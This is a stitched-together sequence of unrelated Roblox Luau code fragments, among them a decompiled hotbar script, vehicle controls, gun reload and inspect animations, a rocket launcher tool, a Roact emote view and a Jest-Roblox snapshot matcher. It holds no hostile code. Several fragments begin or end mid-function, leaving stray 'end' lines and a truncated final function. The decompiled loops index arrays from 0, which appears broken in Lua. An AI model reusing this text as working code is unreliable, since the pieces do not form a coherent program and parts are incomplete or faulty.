};
function create()
local v6 = #u2;
local v7 = v6 * l__Size__3.X.Offset + (v6 + 1) * u4.x;
local v8 = l__Size__3.Y.Offset + 2 * u4.y;
l__Frame__3.Size = UDim2.new(0, v7, 0, v8);
l__Frame__3.Position = UDim2.new(0.5, -(v7 / 2), 1, -(v8 + u4.y * 2));
l__Frame__3.Visible = true;
local v9 = #u2;
local v10 = 1 - 1;
while true do
local v11 = u2[v10];
local v12 = l__Template__4:Clone();
v12.Parent = l__Frame__3;
v12.Label.Text = v11.txt;
v12.Name = v11.txt;
v12.Visible = true;
v12.Position = UDim2.new(0, (v10 - 1) * l__Size__3.X.Offset + u4.x * v10, 0, u4.y);
v12.ImageTransparency = 0.7;
local l__tool__13 = v11.tool;
if l__tool__13 then
v12.Tool.Image = l__tool__13.TextureId;
end;
v12.Tool.MouseButton1Down:Connect(function()
local v14, v15, v16 = pairs(v5);
while true do
local v17, v18 = v14(v15, v16);
if v17 then
else
break;
end;
v16 = v17;
if v18.txt == v12.Name then
handleEquip(v18.tool);
end;
end;
end);
if 0 <= 1 then
if v10 < v9 then
else
break;
end;
elseif v9 < v10 then
else
break;
end;
v10 = v10 + 1;
end;
l__Template__4:Destroy();
end;
local l__Backpack__5 = l__LocalPlayer__1.Backpack;
function setup()
local v19 = l__Backpack__5:GetChildren();
local v20 = #v19;
local v21 = 1 - 1;
while true do
if v19[v21]:IsA("Tool") then
local v22 = #u2;
local v23 = 1 - 1;
while true do
local v24 = u2[v23];
if not v24.tool then
v24.tool = v19[v23];
break;
end;
if 0 <= 1 then
if v23 < v22 then
else
break;
end;
elseif v22 < v23 then
else
break;
end;
v23 = v23 + 1;
end;
end;
if 0 <= 1 then
if v21 < v20 then
else
break;
end;
elseif v20 < v21 then
else
break;
end;
v21 = v21 + 1;
end;
create();
end;
function adjust()
local v25, v26, v27 = pairs(v5);
while true do
local v28 = nil;
local v29, v30 = v25(v26, v27);
if v29 then
else
break;
end;
v27 = v29;
local l__tool__31 = v30.tool;
v28 = l__Frame__3:FindFirstChild(v30.txt);
if l__tool__31 then
v28.Tool.Image = l__tool__31.TextureId;
if l__tool__31.Parent == v2 then
v28.ImageTransparency = 0.2;
else
v28.ImageTransparency = 0.7;
end;
else
v28.Tool.Image = "";
v28.ImageTransparency = 0.7;
end;
end;
end;
local l__UserInputService__6 = game:GetService("UserInputService");
function onKeyPress(p2)
local v32 = v5[p2.KeyCode.Name];
if v32 then
if l__UserInputService__6:GetFocusedTextBox() == nil then
handleEquip(v32.tool);
end;
end;
end;
function handleAddition(p3)
if p3:IsA("Tool") then
local v33 = true;
local v34, v35, v36 = pairs(v5);
while true do
local v37, v38 = v34(v35, v36);
if v37 then
else
break;
end;
v36 = v37;
local l__tool__39 = v38.tool;
if l__tool__39 then
if l__tool__39 == p3 then
v33 = false;
end;
end;
end;
if v33 then
local v40 = #u2;
local v41 = 1 - 1;
while true do
if not u2[v41].tool then
u2[v41].tool = p3;
break;
end;
if 0 <= 1 then
if v41 < v40 then
else
break;
end;
elseif v40 < v41 then
else
break;
end;
v41 = v41 + 1;
end;
end;
adjust();
end;
end;
function handleRemoval(p4)
if p4:IsA("Tool") then
if p4.Parent ~= v2 then
if p4.Parent ~= l__Backpack__5 then
local v42 = #u2;
local v43 = 1 - 1;
while true do
if u2[v43].tool == p4 then
u2[v43].tool = nil;
break;
end;
if 0 <= 1 then
if v43 < v42 then
else
break;
end;
elseif v42 < v43 then
else
break;
end;
v43 = v43 + 1;
end;
end;
end;
adjust();
end;
end;
l__UserInputService__6.InputBegan:Connect(onKeyPress);
v2.ChildAdded:Connect(handleAddition);
v2.ChildRemoved:Connect(handleRemoval);
l__Backpack__5.ChildAdded:Connect(handleAddition);
l__Backpack__5.ChildRemoved:Connect(handleRemoval);
setup();
|
--Mobile control
|
function CheckMobile()
if UserInputService.TouchEnabled == true and UseGyroSteering.Value == false then -- Won't show mobile guis if gyro is enabled
UserInputService.ModalEnabled = true
GuiControls.Parent = PlayerGui
end
end
function CheckVR()
if UserInputService.VREnabled then
UpdateVRPos()
-- Hide tool UI using VR
if PlayerGui and PlayerGui:FindFirstChild("DisplayGui") and PlayerGui:FindFirstChild("ColorGui") then
PlayerGui:FindFirstChild("DisplayGui").Enabled = false
PlayerGui:FindFirstChild("ColorGui").Enabled = false
end
UpdateCharTrans(1,0)
end
end
UserInputService.InputEnded:connect(function(Key)
if WeldObject.Value ~= nil then
--Ends Accelerate
if Key.KeyCode == Enum.KeyCode.W or Key.KeyCode == Enum.KeyCode.Up or Key.KeyCode == Enum.KeyCode.ButtonR2 then
if Direction == 1 then
Direction = 0
end
end
if Key.KeyCode == Enum.KeyCode.S or Key.KeyCode == Enum.KeyCode.Down or Key.KeyCode == Enum.KeyCode.ButtonL2 then
if Direction == -1 then
Direction = 0
end
end
--Ends Steer
if Key.KeyCode == Enum.KeyCode.D or Key.KeyCode == Enum.KeyCode.Right then
if Steer == 1 then
Steer = 0
end
end
if Key.KeyCode == Enum.KeyCode.A or Key.KeyCode == Enum.KeyCode.Left then
if Steer == -1 then
Steer = 0
end
end
end
end)
|
------------------------------------------------------------------------------
|
local function PlayerAdded(player)
wait(1)
UpdateEveryone()
end for _, p in ipairs(game.Players:GetPlayers()) do PlayerAdded(p) end game.Players.PlayerAdded:Connect(PlayerAdded)
game.Players.PlayerRemoving:Connect(function(player)
wait(1)
UpdateEveryone()
end)
|
--// Animations
|
-- Idle Anim
IdleAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- FireMode Anim
FireModeAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.25)
objs[4]:WaitForChild("Click"):Play()
end;
-- Reload Anim
ReloadAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.5)
TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.5)
wait(0.5)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)
objs[4].Transparency = 1
objs[6]:WaitForChild("MagOut"):Play()
TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621778965, -2.69811869, 0.787567914, -0.220087856, 0.575584888, -0.51537323, 0.276813388, 0.811026871, -0.337826759, -0.935379863, 0.104581922), function(X) return math.sin(math.rad(X)) end, 0.3)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.29060709, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.1)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.3)
objs[6]:WaitForChild('MagIn'):Play()
TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.4)
MagC:Destroy()
objs[4].Transparency = 0
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.98480773, -0.171010077, -0.0301536508, 0, -0.173647955, 0.984807789, -0.173648179, -0.969846308, -0.171009853), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.3)
objs[7].Parent:WaitForChild('BoltForward'):Play()
TweenJoint(objs[7], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.03)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.395501226, -1.07592201, 0.98480773, -0.171010077, -0.0301536508, 0, -0.173647955, 0.984807789, -0.173648179, -0.969846308, -0.171009853), function(X) return math.sin(math.rad(X)) end, 0.1)
wait(0.15)
end;
-- Bolt Anim
BoltBackAnim = function(char, speed, objs)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.518400908, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.492658436, -1.55705214, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.4)
objs[5]:WaitForChild("BoltBack"):Play()
TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.609481037, -1.02827215, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.175939053, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.3)
end;
BoltForwardAnim = function(char, speed, objs)
objs[5]:WaitForChild("BoltForward"):Play()
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.84623456, -0.900531948, -0.749261618, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.617181182, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.2)
wait(0.2)
end;
-- Bolting Back
BoltingBackAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.03)
end;
BoltingForwardAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
end;
InspectAnim = function(char, speed, objs)
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(1)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)
Tool.Mag.Transparency = 1
Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play()
ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.13)
ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
wait(0.20)
ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()
wait(0.8)
ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.5)
Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(0.3)
MagC:Destroy()
Tool.Mag.Transparency = 0
wait(0.1)
end;
AttachAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- Patrol Anim
PatrolAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
}
return Settings
|
-- lightOn(b)
-- wait(0.15)
--
-- lightOff(b)
-- wait(0.1)
|
end
|
-----------------
--| Functions |--
-----------------
|
local function MakeBaseRocket()
-- Set up the rocket part
local rocket = Instance.new('Part')
rocket.Name = 'Rocket'
rocket.FormFactor = Enum.FormFactor.Custom --NOTE: This must be done before changing Size
rocket.Size = ROCKET_PART_SIZE
rocket.CanCollide = false
rocket.BottomSurface = Enum.SurfaceType.Smooth
rocket.TopSurface = Enum.SurfaceType.Smooth
-- Add the mesh
local mesh = Instance.new('SpecialMesh', rocket)
mesh.MeshId = ROCKET_MESH_ID
mesh.Scale = ROCKET_MESH_SCALE
mesh.TextureId = ToolHandle.Mesh.TextureId
-- Add fire
local fire = Instance.new('Fire', rocket)
fire.Heat = 10
fire.Size = 5
-- Add the propulsion
local rocketPropulsion = Instance.new('RocketPropulsion', rocket)
rocketPropulsion.CartoonFactor = 1
rocketPropulsion.TargetRadius = TARGET_RADIUS
rocketPropulsion.MaxSpeed = MAX_SPEED
rocketPropulsion.MaxTorque = MAX_TORQUE
rocketPropulsion.MaxThrust = MAX_THRUST
rocketPropulsion.ThrustP = THRUST_P
rocketPropulsion.ThrustD = THRUST_D
-- Clone the sounds
local swooshSoundClone = SwooshSound:Clone()
swooshSoundClone.Parent = rocket
local boomSoundClone = BoomSound:Clone()
boomSoundClone.Parent = rocket
-- Attach creator tags
local creatorTag = Instance.new('ObjectValue', rocket)
creatorTag.Name = 'creator' --NOTE: Must be called 'creator' for website stats
creatorTag.Value = MyPlayer
local iconTag = Instance.new('StringValue', creatorTag)
iconTag.Name = 'icon'
iconTag.Value = Tool.TextureId
-- Finally, clone the rocket script and enable it
local rocketScriptClone = RocketScript:Clone()
rocketScriptClone.Parent = rocket
rocketScriptClone.Disabled = false
return rocket
end
local function OnEquipped()
MyModel = Tool.Parent
MyPlayer = PlayersService:GetPlayerFromCharacter(MyModel)
BaseRocket = MakeBaseRocket()
RocketClone = BaseRocket:Clone()
end
local function OnActivated(byFireButton)
if Tool.Enabled and MyModel and MyModel:FindFirstChild('Humanoid') and MyModel.Humanoid.Health > 0 then
Tool.Enabled = false
-- Get the target position
local targetPosition = MyModel.Humanoid.TargetPoint
if byFireButton then -- Using Fire Button, shoot forwards
targetPosition = MyModel.Humanoid.Torso.CFrame.lookVector * 1000
end
-- Position the rocket clone
local spawnPosition = ToolHandle.Position + (ToolHandle.CFrame.lookVector * (ToolHandle.Size.z / 2))
RocketClone.CFrame = CFrame.new(spawnPosition, targetPosition) --NOTE: This must be done before assigning Parent
DebrisService:AddItem(RocketClone, 30)
RocketClone.Parent = Workspace
-- Assign target and launch!
FireSound:Play()
local rocketPropulsion = RocketClone:FindFirstChild('RocketPropulsion')
if rocketPropulsion then
local direction = (targetPosition - RocketClone.Position).unit
rocketPropulsion.TargetOffset = RocketClone.Position + (direction * TARGET_OVERSHOOT_DISTANCE)
rocketPropulsion:Fire()
end
wait(0) --TODO: Remove when sounds realize they can be played as soon as they enter the Workspace
-- Swoosh!
local swooshSound = RocketClone:FindFirstChild('Swoosh')
if swooshSound then
swooshSound:Play()
end
-- Prepare the next rocket to be fired
RocketClone = BaseRocket:Clone()
ReloadSound:Play()
wait(COOLDOWN)
-- Stop the reloading sound if it hasn't already finished
ReloadSound:Stop()
Tool.Enabled = true
end
end
local function OnUnequipped()
ReloadSound:Stop() --TODO: This does not work online
end
|
--[[
Chooses between the different GuiTypes that the emotes can be displayed in
]]
|
local Roact = require(script.Parent.Parent.Packages.Roact)
local t = require(script.Parent.Parent.Packages.t)
local clientConfig = require(script.Parent.Parent.clientConfig)
local ConfigurationContext = require(script.Parent.Parent.Libraries.Configuration).ConfigurationContext
local enums = require(script.Parent.Parent.enums)
local EmoteBarScreen = require(script.Parent.EmoteBarScreen)
local EmoteWheelBillboard = require(script.Parent.EmoteWheelBillboard)
local EmoteView = Roact.Component:extend("EmoteView")
EmoteView.defaultProps = {
isVisible = true,
forceHide = false,
}
EmoteView.validateProps = t.strictInterface({
forceHide = t.boolean,
isVisible = t.boolean,
configuration = clientConfig.validate,
})
function EmoteView:render()
local guiType = self.props.configuration.guiType
if guiType == enums.GuiType.EmoteBar then
return Roact.createElement(EmoteBarScreen, {
isVisible = self.props.isVisible and not self.props.forceHide,
})
elseif guiType == enums.GuiType.EmoteWheel then
return Roact.createElement(EmoteWheelBillboard, {
isVisible = self.props.isVisible,
})
end
end
return ConfigurationContext.withConfiguration(EmoteView)
|
--[[
Handles the client-side of the avatar model inside the vehicle
Configures the Humanoid
TODO: Add animation to the avatar
]]
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ReplicatedConstants = require(ReplicatedStorage.Source.Constants.ReplicatedConstants)
local ClientAvatarComponent = {}
|
-- ROBLOX TODO: ADO-1552 add toMatchInlineSnapshot
|
function _toMatchSnapshot(config: MatchSnapshotConfig)
local context = config.context
local hint = config.hint
local inlineSnapshot = config.inlineSnapshot
local isInline = config.isInline
local matcherName = config.matcherName
local properties = config.properties
local received = config.received
--[[
deviation: we modify the TestEZ test runner to record the test context in
a global state for jest-snapshot to find the correct snapshot
deviation: loads an empty snapshot state if one doesn't exist, Jest creates
one by default but we cannot do so because of permission issues
--]]
local snapshotFileName = _G[JEST_TEST_CONTEXT].instance.Name:match("(.*)%.spec") .. ".snap"
if _G[JEST_TEST_CONTEXT].snapshotState == nil then
local snapshotPath = nil
pcall(function()
snapshotPath = _G[JEST_TEST_CONTEXT].instance.Parent.__snapshots__[snapshotFileName]
end)
local ok, result = pcall(function()
return SnapshotState.new(
snapshotPath,
{ updateSnapshot = _G.UPDATESNAPSHOT or "none", snapshotFormat = {} }
)
end)
if ok then
_G[JEST_TEST_CONTEXT].snapshotState = result
else
return {
message = function()
return "Jest-Roblox: Error while loading snapshot file"
end,
pass = false,
}
end
end
context.snapshotState = context.snapshotState or _G[JEST_TEST_CONTEXT].snapshotState
context.currentTestName = context.currentTestName or table.concat(_G[JEST_TEST_CONTEXT].blocks, " ")
-- ROBLOX deviation: we don't call dontThrow because we don't yet have the functionality in
-- place where we add errors to global matcher state and deal with them accordingly
-- so we instead rely on throwing the actual errors
-- local _ = context.dontThrow and context.dontThrow()
local currentTestName = context.currentTestName
local isNot = context.isNot
local snapshotState = context.snapshotState
if isNot then
error(AssertionError.new({
message = matcherErrorMessage(matcherHintFromConfig(config, false), NOT_SNAPSHOT_MATCHERS),
}))
end
if snapshotState == nil then
-- Because the state is the problem, this is not a matcher error.
-- Call generic stringify from jest-matcher-utils package
-- because uninitialized snapshot state does not need snapshot serializers.
error(AssertionError.new({
message = matcherHintFromConfig(config, false)
.. "\n\n"
.. "Snapshot state must be initialized"
.. "\n\n"
.. printWithType("Snapshot state", snapshotState, stringify),
}))
end
local fullTestName = if currentTestName and hint
then currentTestName .. ": " .. hint :: string
else currentTestName or "" -- future BREAKING change: || hint
if typeof(properties) == "table" then
-- ROBLOX deviation: Roblox Instance matchers
-- allow property matchers against received Instance values
if received == nil or (typeof(received) ~= "table" and getType(received) ~= "Instance") then
error(AssertionError.new({
message = matcherErrorMessage(
matcherHintFromConfig(config, false),
RECEIVED_COLOR("received")
.. " value must be an object when the matcher has "
.. EXPECTED_COLOR("properties"),
printWithType("Received", received, printReceived)
),
}))
end
local propertyPass = context.equals(received, properties, {
context.utils.iterableEquality,
context.utils.subsetEquality,
-- ROBLOX deviation: Roblox Instance matchers
-- ROBLOX TODO: uncomment when implementing snapshot property matchers on Instances
-- context.utils.instanceSubsetEquality,
})
if not propertyPass then
local key = snapshotState:fail(fullTestName, received)
local matched = key:match("(%d+)$")
-- ROBLOX deviation START: no way for Luau to know if matched is non-nil then tonumber(matched) is guaranteed to be non-nil
local count = if matched == nil then 1 else tonumber(matched) :: number
-- ROBLOX deviation END
local message = function()
return matcherHintFromConfig(config, false)
.. "\n\n"
.. printSnapshotName(currentTestName, hint, count)
.. "\n\n"
.. printPropertiesAndReceived(properties, received, snapshotState.expand)
end
return {
message = message,
name = matcherName,
pass = false,
}
else
received = utils.deepMerge(received, properties)
end
end
local result = snapshotState:match({
error = context.error,
inlineSnapshot = inlineSnapshot,
isInline = isInline,
received = received,
testName = fullTestName,
})
local actual = result.actual
local count = result.count
local expected = result.expected
local pass = result.pass
if pass then
return {
message = function()
return ""
end,
pass = true,
}
end
local message
if expected == nil then
message = function()
local retval = matcherHintFromConfig(config, true)
.. "\n\n"
.. printSnapshotName(currentTestName, hint, count)
.. "\n\n"
.. "New snapshot was "
.. BOLD_WEIGHT("not written")
.. ". The update flag "
.. "must be explicitly passed to write a new snapshot.\n\n"
.. "This is likely because this test is run in a continuous integration "
.. "(CI) environment in which snapshots are not written by default.\n\n"
.. "Received:"
if actual:find("\n") then
retval = retval .. "\n"
else
retval = retval .. " "
end
retval = retval .. bReceivedColor(actual)
return retval
end
else
message = function()
return matcherHintFromConfig(config, true)
.. "\n\n"
.. printSnapshotName(currentTestName, hint, count)
.. "\n\n"
.. printSnapshotAndReceived(expected, actual, received, snapshotState.expand)
end
end
-- Passing the actual and expected objects so that a custom reporter
-- could access them, for example in order to display a custom visual diff,
-- or create a different error message
return {
actual = actual,
expected = expected,
message = message,
name = matcherName,
pass = false,
}
end
local function toThrowErrorMatchingSnapshot(
this: types.Context,
received: any,
hint: string | any,
fromPromise: boolean
)
local matcherName = "toThrowErrorMatchingSnapshot"
-- Future breaking change: Snapshot hint must be a string
-- if (hint !== undefined && typeof hint !== string) {}
return _toThrowErrorMatchingSnapshot({
context = this,
hint = hint,
isInline = false,
matcherName = matcherName,
received = received,
}, fromPromise)
end
function _toThrowErrorMatchingSnapshot(config: types.MatchSnapshotConfig, fromPromise: boolean?)
local context = config.context
local hint = config.hint
local inlineSnapshot = config.inlineSnapshot
local isInline = config.isInline
local matcherName = config.matcherName
local received = config.received
-- ROBLOX deviation: we don't call dontThrow because we don't yet have the functionality in
-- place where we add errors to global matcher state and deal with them accordingly
-- so we instead rely on throwing the actual errors
-- local _ = context.dontThrow and context.dontThrow()
local isNot = context.isNot
local promise = context.promise
if not fromPromise then
if typeof(received) ~= "function" then
local options: JestMatcherUtils.MatcherHintOptions = { isNot = isNot, promise = promise }
error(AssertionError.new({
message = matcherErrorMessage(
matcherHint(matcherName, nil, "", options),
RECEIVED_COLOR("received") .. " value must be a function",
printWithType("Received", received, printReceived)
),
}))
end
end
if isNot then
error(AssertionError.new({
message = matcherErrorMessage(matcherHintFromConfig(config, false), NOT_SNAPSHOT_MATCHERS),
}))
end
local error_
if fromPromise then
error_ = received
else
local ok, result = pcall(function()
received()
end)
if not ok then
error_ = result
end
end
if error_ == nil then
-- Because the received value is a function, this is not a matcher error.
error(AssertionError.new({ message = matcherHintFromConfig(config, false) .. "\n\n" .. DID_NOT_THROW }))
end
-- ROBLOX deviation: instead of being able to set received = error.message in our
-- _toMatchSnapshot call, we have to deal with different cases since in Lua
-- we could be dealing with our Error polyfill, a thrown object, or a thrown
-- string
if instanceof(error_, Error) or typeof(error_) == "table" and rawget(error_, "message") ~= nil then
error_ = error_.message
elseif typeof(error_) ~= "string" then
error_ = tostring(error_)
end
return _toMatchSnapshot({
context = context,
hint = hint,
inlineSnapshot = inlineSnapshot,
isInline = isInline,
matcherName = matcherName,
received = error_,
})
end
return {
-- EXTENSION = EXTENSION,
SnapshotState = SnapshotState,
addSerializer = addSerializer,
-- buildSnapshotResolver = buildSnapshotResolver,
-- cleanup = cleanup,
getSerializers = getSerializers,
-- isSnapshotPath = isSnapshotPath,
-- toMatchInlineSnapshot = toMatchInlineSnapshot,
toMatchSnapshot = toMatchSnapshot,
toThrowErrorMatchingSnapshot = toThrowErrorMatchingSnapshot,
utils = utils,
-- WORKSPACES FIXME: needs to be exported for consumption by workspace neighbors
plugins = require(CurrentModule.plugins),
}
|
-- Coroutine runner that we create coroutines of. The coroutine can be
-- repeatedly resumed with functions to run followed by the argument to run
-- them with.
|
local function runEventHandlerInFreeThread()
-- Note: We cannot use the initial set of arguments passed to
-- runEventHandlerInFreeThread for a call to the handler, because those
-- arguments would stay on the stack for the duration of the thread's
-- existence, temporarily leaking references. Without access to raw bytecode
-- there's no way for us to clear the "..." references from the stack.
while true do
acquireRunnerThreadAndCallEventHandler(coroutine.yield())
end
end
|
-- Are we falling?
|
hum.FreeFalling:connect(function()
FreeFalling = true
end)
|
-- if rot<math.pi/8 then
-- rot=rot+math.pi/20
-- end
|
spd.velocity=chg+(engine.CFrame.lookVector-Vector3.new(-0.5,0,0))*inc
--gyro.cframe=mouse.Hit
--gyro.cframe=gyro.cframe*CFrame.Angles(0,math.pi/5,rot)
elseif d then
|
--[[
Utility function to log a Fusion-specific error.
]]
|
local Package = script.Parent.Parent
local Types = require(Package.Types)
local messages = require(Package.Logging.messages)
local function logError(messageID: string, errObj: Types.Error?, ...)
local formatString = messages[messageID]
if formatString == nil then
messageID = "unknownMessage"
formatString = messages[messageID]
end
local errorString
if errObj == nil then
errorString = string.format("[Fusion] " .. formatString .. "\n(ID: " .. messageID .. ")", ...)
else
formatString = formatString:gsub("ERROR_MESSAGE", errObj.message)
